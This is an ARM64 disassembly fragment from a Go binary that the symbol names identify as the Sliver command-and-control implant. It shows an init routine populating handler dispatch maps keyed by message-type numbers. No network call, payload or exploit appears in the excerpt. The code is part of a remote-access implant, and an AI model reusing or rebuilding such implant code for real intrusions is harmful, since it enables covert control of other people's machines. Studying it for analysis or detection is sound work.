    004efc8cadd x3, x3, 2952
    004efc90str x3, [sp+56]
    004efc94ldr x1, [sp+64]
    004efc98adrp x0, 0x134000
    004efc9cadd x0, x0, 1888
    004efca0movz x2, 50
    004efca4bl runtime.mapassign_fast32
    004efca8str x0, [sp+112]
    004efcacldrsb x27, [x0]
    004efcb0ldr x3, [sp+56]
    004efcb4adrp x27, 0x55c000
    004efcb8ldr w4, [x27+3056]
    004efcbccbz w4, 0x4efcc4
    004efcc0b 0x4efcc8
    004efcc4
    004efcc4loc_4efcc4:
    004efcc4b 0x4efcdc
    004efcc8
    004efcc8loc_4efcc8:
    004efcc8bl runtime.gcWriteBarrier2
    004efcccstr x3, [x25]
    004efcd0ldr x4, [x0]
    004efcd4str x4, [x25+8]
    004efcd8b 0x4efcdc
    004efcdc
    004efcdcloc_4efcdc:
    004efcdcstr x3, [x0]
    004efce0adrp x3, 0x1e9000
    004efce4add x3, x3, 2960
    004efce8str x3, [sp+56]
    004efcecldr x1, [sp+64]
    004efcf0adrp x0, 0x134000
    004efcf4add x0, x0, 1888
    004efcf8movz x2, 51
    004efcfcbl runtime.mapassign_fast32
    004efd00str x0, [sp+104]
    004efd04ldrsb x27, [x0]
    004efd08ldr x3, [sp+56]
    004efd0cadrp x27, 0x55c000
    004efd10ldr w4, [x27+3056]
    004efd14cbz w4, 0x4efd1c
    004efd18b 0x4efd20
    004efd1c
    004efd1cloc_4efd1c:
    004efd1cb 0x4efd34
    004efd20
    004efd20loc_4efd20:
    004efd20bl runtime.gcWriteBarrier2
    004efd24str x3, [x25]
    004efd28ldr x4, [x0]
    004efd2cstr x4, [x25+8]
    004efd30b 0x4efd34
    004efd34
    004efd34loc_4efd34:
    004efd34str x3, [x0]
    004efd38adrp x3, 0x1e9000
    004efd3cadd x3, x3, 2944
    004efd40str x3, [sp+56]
    004efd44ldr x1, [sp+64]
    004efd48adrp x0, 0x134000
    004efd4cadd x0, x0, 1888
    004efd50movz x2, 57
    004efd54bl runtime.mapassign_fast32
    004efd58str x0, [sp+96]
    004efd5cldrsb x27, [x0]
    004efd60ldr x3, [sp+56]
    004efd64adrp x27, 0x55c000
    004efd68ldr w4, [x27+3056]
    004efd6ccbz w4, 0x4efd74
    004efd70b 0x4efd78
    004efd74
    004efd74loc_4efd74:
    004efd74b 0x4efd8c
    004efd78
    004efd78loc_4efd78:
    004efd78bl runtime.gcWriteBarrier2
    004efd7cstr x3, [x25]
    004efd80ldr x1, [x0]
    004efd84str x1, [x25+8]
    004efd88b 0x4efd8c
    004efd8c
    004efd8cloc_4efd8c:
    004efd8cstr x3, [x0]
    004efd90ldr x0, [sp+64]
    004efd94adrp x27, 0x55c000
    004efd98ldr w1, [x27+3056]
    004efd9ccbz w1, 0x4efda4
    004efda0b 0x4efda8
    004efda4
    004efda4loc_4efda4:
    004efda4b 0x4efdc0
    004efda8
    004efda8loc_4efda8:
    004efda8bl runtime.gcWriteBarrier2
    004efdacstr x0, [x25]
    004efdb0adrp x27, 0x531000
    004efdb4ldr x1, [x27+3184]
    004efdb8str x1, [x25+8]
    004efdbcb 0x4efdc0
    004efdc0
    004efdc0loc_4efdc0:
    004efdc0adrp x27, 0x531000
    004efdc4str x0, [x27+3184]
    004efdc8bl runtime.makemap_small
    004efdccstr x0, [sp+64]
    004efdd0adrp x0, 0x1e9000
    004efdd4add x0, x0, 3008
    004efdd8str x0, [sp+56]
    004efddcldr x1, [sp+64]
    004efde0adrp x0, 0x134000
    004efde4add x0, x0, 1888
    004efde8movz x2, 107
    004efdecbl runtime.mapassign_fast32
    004efdf0str x0, [sp+88]
    004efdf4ldrsb x27, [x0]
    004efdf8ldr x1, [sp+56]
    004efdfcadrp x27, 0x55c000
    004efe00ldr w2, [x27+3056]
    004efe04cbz w2, 0x4efe0c
    004efe08b 0x4efe10
    004efe0c
    004efe0cloc_4efe0c:
    004efe0cb 0x4efe24
    004efe10
    004efe10loc_4efe10:
    004efe10bl runtime.gcWriteBarrier2
    004efe14str x1, [x25]
    004efe18ldr x3, [x0]
    004efe1cstr x3, [x25+8]
    004efe20b 0x4efe24
    004efe24
    004efe24loc_4efe24:
    004efe24str x1, [x0]
    004efe28adrp x3, 0x1e9000
    004efe2cadd x3, x3, 3016
    004efe30str x3, [sp+56]
    004efe34ldr x1, [sp+64]
    004efe38adrp x0, 0x134000
    004efe3cadd x0, x0, 1888
    004efe40movz x2, 104
    004efe44bl runtime.mapassign_fast32
    004efe48str x0, [sp+80]
    004efe4cldrsb x27, [x0]
    004efe50ldr x3, [sp+56]
    004efe54adrp x27, 0x55c000
    004efe58ldr w4, [x27+3056]
    004efe5ccbz w4, 0x4efe64
    004efe60b 0x4efe68
    004efe64
    004efe64loc_4efe64:
    004efe64b 0x4efe7c
    004efe68
    004efe68loc_4efe68:
    004efe68bl runtime.gcWriteBarrier2
    004efe6cstr x3, [x25]
    004efe70ldr x4, [x0]
    004efe74str x4, [x25+8]
    004efe78b 0x4efe7c
    004efe7c
    004efe7cloc_4efe7c:
    004efe7cstr x3, [x0]
    004efe80adrp x3, 0x1e9000
    004efe84add x3, x3, 3024
    004efe88str x3, [sp+56]
    004efe8cldr x1, [sp+64]
    004efe90adrp x0, 0x134000
    004efe94add x0, x0, 1888
    004efe98movz x2, 103
    004efe9cbl runtime.mapassign_fast32
    004efea0str x0, [sp+72]
    004efea4ldrsb x27, [x0]
    004efea8ldr x3, [sp+56]
    004efeacadrp x27, 0x55c000
    004efeb0ldr w4, [x27+3056]
    004efeb4cbz w4, 0x4efebc
    004efeb8b 0x4efec0
    004efebc
    004efebcloc_4efebc:
    004efebcb 0x4efed4
    004efec0
    004efec0loc_4efec0:
    004efec0bl runtime.gcWriteBarrier2
    004efec4str x3, [x25]
    004efec8ldr x1, [x0]
    004efeccstr x1, [x25+8]
    004efed0b 0x4efed4
    004efed4
    004efed4loc_4efed4:
    004efed4str x3, [x0]
    004efed8ldr x0, [sp+64]
    004efedcadrp x27, 0x55c000
    004efee0ldr w1, [x27+3056]
    004efee4cbz w1, 0x4efeec
    004efee8b 0x4efef0
    004efeec
    004efeecloc_4efeec:
    004efeecb 0x4eff08
    004efef0
    004efef0loc_4efef0:
    004efef0bl runtime.gcWriteBarrier2
    004efef4str x0, [x25]
    004efef8adrp x27, 0x531000
    004efefcldr x1, [x27+3192]
    004eff00str x1, [x25+8]
    004eff04b 0x4eff08
    004eff08
    004eff08loc_4eff08:
    004eff08adrp x27, 0x531000
    004eff0cstr x0, [x27+3192]
    004eff10bl github.com/bishopfox/sliver/implant/sliver/handlers.map.init.1
    004eff14ldur x29, [sp-8]
    004eff18ldr x30, [sp], 144
    004eff1cret x30
    004eff20
    004eff20loc_4eff20:
    004eff20mov x3, x30
    004eff24bl runtime.morestack_noctxt.abi0
    004eff28b 0x4efb70
    004eff2cudf 0
    004efb70